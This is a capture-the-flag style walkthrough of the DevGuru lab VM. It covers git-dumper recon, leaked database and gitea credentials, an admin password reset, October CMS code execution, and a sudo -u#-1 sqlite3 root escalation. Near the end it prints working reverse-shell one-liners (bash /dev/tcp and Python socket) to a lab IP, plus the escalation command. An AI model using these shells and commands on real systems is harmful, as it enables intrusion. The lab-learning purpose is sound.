Post

Devguru

Description ⤵️

💡 DevGuru is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.

OSCP like ~ Real life based

Difficulty: Intermediate (Depends on experience)

Let’s find the IP Address first »

130-1.png

1
IP : 10.0.2.26

Port Scan Results ➡️

131-1.png

131-2.png

1
2
3
4
OPEN PORTS >
22   SSH
80   HTTP
8585 unknown

Web Enumeration ⤵️

132-1.png

132-2.png

Now lets look into the directory traversal files / directories →

134-1.png

134-2.png

132-3.png

Since it needs Authentication So I Have to find the username and the password to get the access →

132-4.png

Lets use nikto also →

132-5.png

132-6.png

Now we have .git as a directory so its time to extract some git directories with the help of git-dumper

132-7.png

Now lets recon further →

Data → /git-dump/config/databases.php

132-8.png

1
2
3
4
'database'   => 'octoberdb',
'username'   => 'october',
'password'   => 'SQ66EBYx4GT3byXH'
While opening the git-dump directory I found → adminer.php →

132-9.png

After using that credentials I got this →

132-10.png

132-11.png

Now I knew that the password can be changed and what its type so lets insert password as password

132-12.png

after replacing the password and saving It Loged in with frank → password

132-13.png

I got a reverse shell for october cms →

132-14.png

132-15.png

When I saved the code I loaded the site and I got this →

132-16.png

After some enumeration I found this → on /var/backups/app.ini.bak

132-17.png

Now I have the credentials of gitea for mysql services lets use it similar as we did before →

1
2
username → gitea
password → UfFPTF8C8jjxVF2m

132-18.png

132-19.png

with this I got in →

132-20.png

Now lets use that exploit →

132-21.png

The Exploit was not working so lets use the mannual code execution →

132-22.png

132-23.png

132-24.png

Now lets edit and commit any file so I choose README.md file →

132-25.png

132-26.png

132-27.png

Now I got it →

133-1.png

133-2.png

1
user.txt → 22854d0aec6ba776f9d35bf7b0e00217

Now lets check the *sudo -l* further and I got this →

133-3.png

lets use it →

1
2
command**`sudo** -u#-1 **/**usr**/**bin**/**sqlite3 **/**dev**/**null '.shell /bin/bash`

133-4.png

133-5.png

1
root.txt → 96440606fb88aa7497cde5a8e68daf8f

133-6.png


Summery Notes →

  1. Git enumeration with git-dumper and executing the reverse shell was on good path.
  2. I enjoyed the swaping of the password method from mysql .
  3. I got to know about october CMS and its reverse shell code .
  4. Also about the sudo vulnerability part ←

october CMS reverse shell code –>

**function** onstart()**{** **exec(**"/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.10/4444 0>&1'"**);}**

1
2
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root →

1
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/bash -i'

If you have any questions or suggestions, please leave a comment below. Thank You !

This post is licensed under CC BY 4.0 by the author.